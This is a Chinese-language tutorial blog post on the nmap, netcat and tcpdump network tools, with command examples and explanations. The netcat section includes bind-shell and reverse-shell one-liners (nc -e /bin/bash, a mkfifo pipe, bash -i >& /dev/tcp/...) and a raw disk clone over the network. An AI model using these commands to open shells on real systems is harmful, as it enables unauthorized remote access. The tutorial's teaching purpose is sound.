nmap ncat tcpdump淺析

nmap 的使用

nmap — 網絡探測工具和安全/端口掃描器

Usage:nmap [ <掃描類型> …] [ <選項> ] { <掃描目標說明> }

掃描目標說明

  • -iL inputfilename (從列表中輸入)

從 inputfilename中讀取目標說明

[root@localhost ~]# nmap 192.168.27.128-132
[root@localhost ~]# nmap -iL nmap.txt
[root@localhost ~]# echo '192.168.27.128-132' | nmap -iL -
  • -iR <hostnum> (隨機選擇目標)

hostnum 選項告訴 Nmap生成多少個公網IP,選項0代表無休止的掃描。

  • –exclude <host1[,host2][,host3],…> (排除主機/網絡)

[root@localhost ~]# nmap -iL nmap.txt --exclude 192.168.27.130,192.168.27.132
  • –excludefile <excludefile> (排除文件中的列表)

[root@localhost ~]# nmap -iL nmap.txt --excludefile exclude.txt

主機發現

  • -sL (列表掃描)

列表掃描是主機發現的退化形式,它僅僅列出指定網絡上的每臺主機, 不發送任何報文到目標主機

  • -sP (Ping掃描)

該選項告訴Nmap僅僅進行ping掃描 (主機發現),然后打印出對掃描做出響應的那些主機。

  • -P0 (無ping)

該選項完全跳過Nmap發現階段。通常Nmap在進行高強度的掃描時用它確定正在運行的機器。

  • -PS [portlist] (TCP SYN Ping)

  • -PA [portlist] (TCP ACK Ping)

  • -PU [portlist] (UDP Ping)

以指定一個以逗號分隔的端口列表(如 -PS22,23,25,80,113,1050,35000)

端口掃描基礎

Nmap所識別的6個端口狀態

  • open(開放的)

  • closed(關閉的)

  • filtered(被過濾的)

  • unfiltered(未被過濾的)

  • open|filtered(開放或者被過濾的)

  • closed|filtered(關閉或者被過濾的)

端口掃描

  • -sS (tcp syn scan) 默認的掃描方式

  • -sT (tcp connect scan) 默認的tcp掃描發式

  • -sU (udp scan)

  • -sO (ip protocol san) 確定目標機支持哪些ip協議

  • -O | -A 探測目標主機的操作系統

  • -sV 掃描端口服務的版本

  • -p 只掃描指定端口

netcat

netcat是網絡工具中的瑞士軍刀,它能通過TCP和UDP在網絡中讀寫數據。通過與其他工具結合和重定向,你可以在腳本中以多種方式使用它。

  • 端口掃描

[root@node1 ~]# nc -z -v -n 10.211.55.24 1-100
nc: connect to 10.211.55.24 port 1 (tcp) failed: Connection refused
nc: connect to 10.211.55.24 port 2 (tcp) failed: Connection refused
nc: connect to 10.211.55.24 port 3 (tcp) failed: Connection refused
nc: connect to 10.211.55.24 port 4 (tcp) failed: Connection refused
nc: connect to 10.211.55.24 port 5 (tcp) failed: Connection refused
...
默認運行tcp掃描,-u參數調整udp
-z 連接成功后立馬退出
-v 詳細內容輸出
-n 不進行反查
  • chat server

server
nc -l -v -p 1567
client
nc 10.211.55.24 1567
  • 文件傳輸

server
nc -l 1567 < file.txt
client
nc -n 10.211.55.24 1567 > file.txt
server端作為文件源,無論哪個客戶端訪問都會發送文件,反之...

server
nc -l 1567 > file.txt
client
nc -n 10.211.55.24 1567 < file.txt
server作為文件存放地,任何客戶端都可以發送文件到服務端
  • 目錄傳送

文件傳送很簡單,如果我們需要傳送目錄,我們需要先打包壓縮,接受后再解壓。

server
tar -czvf - dir_name | nc -l 1567
client 
nc -n 10.211.55.24 1567 | tar -xzvf -
  • 克隆一個設備

server
dd if=/dev/sda | nc -l 1567
client
nc -n 10.211.55.24 1567 | dd of=/dev/sda
  • 打開一個shell

假設netcat支持-c -e選項
server
nc -l 1567 [-e | -c] /bin/bash 
client
nc -n 10.211.55.24 1567
客戶端只要連接端口,就可以遠程操作shell
假設netcat不支持-c -e選項
server
mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/bash -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo
client
nc -n 10.211.55.24 1567
會得到一個shell的提示符在客戶端
  • 反向shell

server 端監聽一個端口
nc -l 1567client 發送一個shell
nc 10.211.55.24 1567 -e /bin/bash
服務端獲得client的shell

linux本身也可以發送shell
bash -i >& /dev/tcp/10.211.55.24/1567 0>&1
服務端可以得到shell的提示符
  • 指定源地址和源端口

假設防火墻過濾了大多數端口,我們可以指定源端口
server
nc -l 1567
client
nc -n 10.211.55.35 -p 25

假設有多個地址,指定地址與外部通信
服務端
nc -u -l 1567 < file.txt
客戶端
nc -u 10.211.55.24 -s 10.211.55.35 > file.txt

tcpdump

tcpdump抓包命令,tcpdump是一個用于截取網絡分組,并輸出分組內容的工具。tcpdump憑借強大的功能和靈活的截取策略,使其成為類UNIX系統下用于網絡分析和問題排查的首選工具。

概述

tcpdump可以將網絡中傳送的數據包的“頭”完全截獲下來提供分析。它支持針對網絡層、協議、主機、網絡或端口的過濾,并提供and、or、not等邏輯語句來幫助你去掉無用的信息。

#tcpdump -vv
不帶參數的tcpdump會收集網絡中所有的信息包頭,數量巨大,必須過濾。

[opotion]

  • -A: 以ascii格式打印出所有分組,并將鏈路層的頭最小化

  • -c: 在收集到指定數量的分組后,tcpdump就會停止

  • -D: 打印出系統中所有可以用tcpdump截取包的網絡接口

  • -e: 在輸出行打印出數據鏈路層的頭部信息

  • -i: 指定監聽的網絡接口

  • -b: 在數據鏈路層選擇協議,包括arp、rarp,ipx

  • -n: 不把網絡地址裝換成名字

  • -nn:不進行端口名稱的轉換

  • -t: 在輸出的每一行不打印時間戳

  • -P: 不把接口設置成混雜模式

  • -q:快速輸出,只輸出較少的協議信息

  • -r:從指定的文件中讀取包(一般通過-w選項產生)

  • -w:寫入到文件中,一般以.pcap結尾

  • -v:輸出稍微詳細的信息

  • -vv:輸出詳細的報文信息

tcpdump的表達式

  1. 第一種是關于類型的關鍵字:主要包括host,net,port。

  2. 第二種是確定chuan傳輸方向的關鍵字:主要包括src,dst,dst or src,dst and src。

  3. 第三種是協議的關鍵字:主要包括fddi,ip,arp,icmp,tcp,udp等

輸出結果介紹

  • 數據鏈路層的信息

tcpdump -e host 10.211.55.
21:50:12.847509 eth0 < 8:0:20:79:5b:46 0:90:27:58:af:1a ip 60: h219.33357 > ICE. telne t 0:0(0) ack 22535 win 8760 (DF)
可以得到數據鏈路層mac地址的通信過程
  • icmp包的tcpdump輸出信息

[root@localhost ~]#tcpdump icmp 
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
08:16:17.876094 IP node1 > 10.211.55.24: ICMP echo request, id 10800, seq 1, length 64
08:16:17.876125 IP 10.211.55.24 > node1: ICMP echo reply, id 10800, seq 1, length 64
  • tcp包的輸出信息

src > dst: flags data-seqno ack window urgent options
src > dst:表明從源地址到目的地址, flags是TCP報文中的標志信息,S 是SYN標志, F (FIN), P (PUSH) ,  R (RST) "." (沒有標記); data-seqno是報文中的數據 的順序號, ack是下次期望的順序號, window是接收緩存的窗口大小, urgent表明 報文中是否有緊急指針。 Options是選項。
  • udp包的輸出信息

oute.port1 > ICE.port2: udp lenth
UDP十分簡單,上面的輸出行表明從主機route的port1端口發出的一個UDP報文 到主機ICE的port2端口,類型是UDP, 包的長度是lenth。

舉例

  • (1) 想要截獲所有210.27.48.1 的主機收到的和發出的所有的分組:

#tcpdump host 210.27.48.1
  • (2) 想要截獲主機源地址210.27.48.1 和主機210.27.48.2或210.27.48.3的通信,使用命令(注意:括號前的反斜杠是必須的):

#tcpdump src host 210.27.48.1 and dst \( 210.27.48.2 or 210.27.48.3 \)
  • (3) 如果想要獲取主機210.27.48.1除了和主機210.27.48.2之外所有主機通信的ip包

#tcpdump ip host 210.27.48.1 and ! 210.27.48.2
  • (4) 如果想要獲取主機192.168.228.246接收或發出的ssh包,并且不轉換主機名使用

#tcpdump -nn -n  host 192.168.228.246 and port 22 and tcp
  • (5) 獲取主機192.168.228.246接收或發出的ssh包,并把mac地址也一同顯示

# tcpdump -e src host 192.168.228.246 and port 22 and tcp -n -nn
  • (6) 過濾源主機物理地址為XXX的報頭:

tcpdump ether src 00:50:04:BA:9B

tcpdump命令格式

tcpdump [-nn] [-i 接口] [-w 儲存檔名] [-c 次數] [-Ae]  [-qX] [-r 文件] [所欲捕獲的數據內容]

-X,可以列出十六進制 (hex) 以及 ASCII 的數據包內容,對于監聽數據包內容很有用。

原創文章,作者:N25_隨心,如若轉載,請注明出處:http://www.www58058.com/67897

(0)
N25_隨心N25_隨心
上一篇 2017-03-15 19:09
下一篇 2017-03-15 19:09

相關推薦

  • Linux系統的介紹及如何獲取幫助?(學習筆記)

    第一、Linux 基礎   CPU架構:      x86      x64 (amd64)      m68000,m68k      arm    &nbs…

    Linux干貨 2016-12-12
  • Linux Network Manager

    Linux Network Manager Network簡述 Switch,Router簡述 Linux Network 配置方法 ifcfg家族命令 ip家族命令 rhel7 nmcli命令 配置文件 Network簡述 Network是什么? 網絡是將分布在地理位置不同的計算機通過物理線路的連接,在網絡軟件的管理下,實現數據通信的過程。&nb…

    Linux干貨 2016-04-05
  • sed的模式匹配用法探討

    原創作品,允許轉載,轉載時請務必以超鏈接形式標明文章 原始出處 、作者信息和本聲明。否則將追究法律責任。http://nolinux.blog.51cto.com/4824967/1405753 [root@sunsky Desktop]# cat sunsky a b c d e f [root@sunsk…

    Linux干貨 2016-08-15
  • 編譯內核

    ?編譯內核: 步驟: (1) 準備好開發環境 (2) 獲取目標主機上硬件設備的相關信息 (3) 獲取目標主機系統功能的相關信息 ? ? ? ? 例如:需要啟用相應的文件系統 (4) 獲取內核源代碼包 www.kernel.org  

    Linux干貨 2018-01-01
  • 計算機基礎知識

    命令總結 echo :回顯 echo $PATH:顯示命令定義的路徑變量 Init 3,5:關閉和打開圖形界面 chvt切換虛擬終端(此命令只能本機切換) startx從新打開圖形界面 powerr off關機 hostname 顯示當前主機名 lsb_release -a顯示操作系統版本 lscpu顯示cpu信息 cat查看 who am顯示當前用戶身份 …

    Linux干貨 2016-07-26

評論列表(1條)

  • 馬哥教育
    馬哥教育 2017-03-30 14:09

    很棒的歸納總結,加油。

欧美性久久久久